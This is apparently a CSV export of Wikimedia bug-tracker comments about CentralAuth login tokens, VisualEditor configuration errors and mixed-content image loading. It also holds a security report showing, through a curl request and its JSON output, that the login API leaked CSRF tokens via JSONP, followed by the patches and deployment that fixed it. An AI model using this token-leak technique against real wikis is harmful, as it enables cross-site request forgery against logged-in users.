+https://gerrit.wikimedia.org/r/75251",,,1374529157,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,0
+235640,centralauth_Token only set for local wiki on login,"Change is merged now, but leaving this open for the moment since this should probably be backported to wmf10 and wmf11, instead of waiting for wmf12.",,,1374523927,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+235631,centralauth_Token only set for local wiki on login,"Change 74682 merged by jenkins-bot:
+Have Special:CentralAutoLogin honor ""Keep me logged in""
+
+https://gerrit.wikimedia.org/r/74682",,,1374522824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,0
+235624,centralauth_Token only set for local wiki on login,"(In reply to comment #1)
+> I remember this has been working before.
+> Why was this changed in the first place?
+
+Considering that all the auto-login logic and a fair bit of the regular login logic had to be rewritten, and in fact were rewritten several times during the development process as constraints shifted, chances are it was accidental.",,,1374267288,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,True,,,-6,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1
+235620,centralauth_Token only set for local wiki on login,"Change 74682 had a related patch set uploaded by Anomie:
+Have Special:CentralAutoLogin honor ""Keep me logged in""
+
+https://gerrit.wikimedia.org/r/74682",,,1374266656,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,0
+235616,centralauth_Token only set for local wiki on login,"I remember this has been working before.
+Why was this changed in the first place?",,,1374235400,,PHID-USER-yhujnd4weqzxkjnpve64,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+52173,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**Author:** `p.selitskas`
+
+**Description:**
+Dash-to-underscore conversion is frucked up yet again?
+
+When ""Edit"" is clicked, an API request is issued with params:
+action:visualeditor
+paction:parse
+page:Новая_зямля
+oldid:1630719
+token:[screened]
+format:json
+
+Response: {""servedby"":""mw1141"",""error"":{""code"":""parsoidserver-http-bad-status"",""info"":""404""}}
+
+VE works at be.wikipedia.org, but it doesn't work at be-x-old.wikipedia.org, bat-smg.wikipedia.org, and maybe other sites with dash in the site ID.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1372164300,1372215518.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-lfvhcf2i2gcieggk662j,task_description,resolved,True,c2,1,False,False,True,-10,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+249089,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**p.selitskas** wrote:
+
+(In reply to comment #3)
+> I have fixed this in the Parsoid config.
+
+Can you publish the link to the change in Gerrit (if it is publicly available), just for my interest?
+
+Thanks for fixing, btw.",,,1372287816,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+249086,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"(In reply to comment #2)
+> (In reply to comment #1)
+> > Roan - is this a config issue at our end or something else?
+> > 
+> > http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753
+> > and
+> > http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work
+> > fine for me, but in VE
+> > https://be-x-old.wikipedia.org/wiki/
+> > Галоўная_старонка?oldid=1535753&veaction=edit
+> > does indeed 404.
+> 
+> I think it's a config issue.
+> 
+> CommonSettings.php on line 1890 says:
+> $wgVisualEditorParsoidPrefix = $wgDBname;
+> 
+> DB names are written with underscores instead of dashes. Conversion '_'->'-'
+> should be performed here.
+> 
+Turns out we did actually have the DB names mapped correctly, but to the wrong URLs. We had stuff like:
+
+'map_bmswiki': 'http://map_bms.wikipedia.org/w/api.php',
+
+which is wrong, we need URLs with dashes.
+
+I have fixed this in the Parsoid config.",,,1372215518,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c2,1,False,,,-9,True,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,0,0,0,1
+249083,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**p.selitskas** wrote:
+
+(In reply to comment #1)
+> Roan - is this a config issue at our end or something else?
+> 
+> http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753
+> and
+> http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work
+> fine for me, but in VE
+> https://be-x-old.wikipedia.org/wiki/
+> Галоўная_старонка?oldid=1535753&veaction=edit
+> does indeed 404.
+
+I think it's a config issue.
+
+CommonSettings.php on line 1890 says:
+$wgVisualEditorParsoidPrefix = $wgDBname;
+
+DB names are written with underscores instead of dashes. Conversion '_'->'-' should be performed here.
+
+This is a typical error in WMF configs. I used to run against it even in MediaWiki core.",,,1372179812,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c2,1,False,,,-10,True,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,1,0,0,0,1
+249080,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"Roan - is this a config issue at our end or something else?
+
+http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753 and http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work fine for me, but in VE https://be-x-old.wikipedia.org/wiki/Галоўная_старонка?oldid=1535753&veaction=edit does indeed 404.",,,1372172991,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c2,1,True,,,-10,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0
+51283,VisualEditor: Images loaded over HTTP unconditionally,"https://en.wikipedia.org/wiki/Jeffrey_Chiesa?veaction=edit
+
+When I go here currently, I get HTTPS warnings.
+
+---
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/5/5f/New_Jersey_Attorne…effrey_S_Chiesa.jpg/144px-New_Jersey_Attorney_General_Jeffrey_S_Chiesa.jpg.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/f0/Seal_of_the_United_States_Senate.svg/80px-Seal_of_the_United_States_Senate.svg.png.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/8/8d/Seal_of_New_Jersey.svg/90px-Seal_of_New_Jersey.svg.png.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/9/92/Flag_of_New_Jersey.svg/75px-Flag_of_New_Jersey.svg.png.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/5/5f/New_Jersey_Attorne…effrey_S_Chiesa.jpg/144px-New_Jersey_Attorney_General_Jeffrey_S_Chiesa.jpg.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/f0/Seal_of_the_United_States_Senate.svg/80px-Seal_of_the_United_States_Senate.svg.png.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/8/8d/Seal_of_New_Jersey.svg/90px-Seal_of_New_Jersey.svg.png.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/9/92/Flag_of_New_Jersey.svg/75px-Flag_of_New_Jersey.svg.png.
+ Jeffrey_Chiesa:1
+---
+
+action=view is fine (no console warnings). When I go to veaction=edit, the console fills with warnings. It looks like VisualEditor is loading thumbnails unconditionally through HTTP. This should be changed to be protocol-relative.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: https://en.wikipedia.org/wiki/Jeffrey_Chiesa?veaction=edit",High,80.0,1370571480,1371576350.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_description,resolved,True,c2,1,True,False,True,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+244180,VisualEditor: Images loaded over HTTP unconditionally,"
+
+*** This bug has been marked as a duplicate of bug 43015 ***",,,1371576350,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_subcomment,,True,c2,1,True,,,-11,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+244174,VisualEditor: Images loaded over HTTP unconditionally,"This is odd - I thought this was fixed, but I can reproduce on enwiki but not on MW.org.
+
+I think this may be fixed by the new image code the Inez has written (which is still 'experimental' and so not available in production except for MW.org). Will check with him and update you.",,,1370621859,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_subcomment,,True,c2,1,True,,,-12,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,0
+51090,Login API doesn't prevent getting csrf tokens via jsonp,"curl --data ""action=login&lgname=User1&lgpassword=xxx&format=json&callback=foo"" 'http://localhost/wiki/api.php'
+foo({""login"":{""result"":""NeedToken"",""token"":""317d0a5134f80898af6c619115293e1f"",""cookieprefix"":""wiki_test1"",""sessionid"":""p7sgh8o7h2ltsi5635mh19h6c2pg7me2pekaee84kdq3k68gr1l0""}})
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1370290200,1378287025.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-qv64dair2jqdys2jum57,task_description,resolved,True,c2,1,True,False,True,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1
+233431,Login API doesn't prevent getting csrf tokens via jsonp,This issue was assigned CVE-2013-4302,,,1378400417,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+233427,Login API doesn't prevent getting csrf tokens via jsonp,[restoring RESOLVED FIXED state which was set before the Gerrit Notification Bot inserted links to the Gerrit patchsets],,,1378287025,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+233422,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82541 merged by jenkins-bot:
+SECURITY: Prevent tokens in jsonp mode
+
+https://gerrit.wikimedia.org/r/82541",,,1378266586,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233416,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82545 merged by jenkins-bot:
+SECURITY: Prevent tokens in jsonp mode
+
+https://gerrit.wikimedia.org/r/82545",,,1378254432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233413,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82537 merged by CSteipp:
+SECURITY: Prevent tokens in jsonp mode
+
+https://gerrit.wikimedia.org/r/82537",,,1378249058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233409,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82545 had a related patch set uploaded by CSteipp:
+SECURITY: Prevent tokens in jsonp mode
+
+https://gerrit.wikimedia.org/r/82545",,,1378248165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233405,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82541 had a related patch set uploaded by CSteipp:
+SECURITY: Prevent tokens in jsonp mode
+
+https://gerrit.wikimedia.org/r/82541",,,1378247964,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233400,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82537 had a related patch set uploaded by CSteipp:
+SECURITY: Prevent tokens in jsonp mode
+
+https://gerrit.wikimedia.org/r/82537",,,1378247687,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233393,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82527 merged by jenkins-bot:
+SECURITY: Prevent tokens in jsonp mode
+
+https://gerrit.wikimedia.org/r/82527",,,1378246268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233386,Login API doesn't prevent getting csrf tokens via jsonp,Roan approved on irc. Deployed into production on Aug 29.,,,1378240779,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233382,Login API doesn't prevent getting csrf tokens via jsonp,"Thanks Brad! I've tested the patch against master, and it seems to be working well and prevents the leak. As mentioned on irc, the action=tokens api returns the error ""Unrecognized value for parameter 'type'"" when the callback is added, instead of an explicit message about the callback parameter. But since this is the same way ApiQueryInfo currently works, it seems like api users should be able to figure it out.
+
+Roan, can you take a look at the patches, and verify they look sane to you, or if there is anything we're missing by doing it this way?",,,1370366475,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0,1,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+233377,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12459
+Patch against REL1_19
+
+**Attached**: {F11092}",,,1370365337,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233371,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12458
+Patch against REL1_20
+
+**Attached**: {F11091}",,,1370365317,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233365,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12457
+Patch against REL1_21
+
+**Attached**: {F11090}",,,1370365296,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233362,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12456
+Patch against master
+
+**Attached**: {F11088}",,,1370365264,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233359,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12453
+Patch against REL1_19
+
+//attachment patch-1.19.diff ignored as obsolete//",,,1370360283,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233355,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12452
+Patch against REL1_20
+
+//attachment patch-1.20.diff ignored as obsolete//",,,1370360267,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233348,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12451
+Patch against REL1_21
+
+//attachment patch-1.21.diff ignored as obsolete//",,,1370360253,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233343,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12450
+Patch against master
+
+//attachment patch-1.22.diff ignored as obsolete//",,,1370360223,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233339,Login API doesn't prevent getting csrf tokens via jsonp,"(In reply to comment #2)
+> I'm planning to look at this tomorrow morning. Current thoughts are that the
+> block and unblock 'gettoken' parameters have been deprecated since 1.20, so
+> they are ripe for removal. The others will get a check similar to that
+> currently used for prop=info.
+
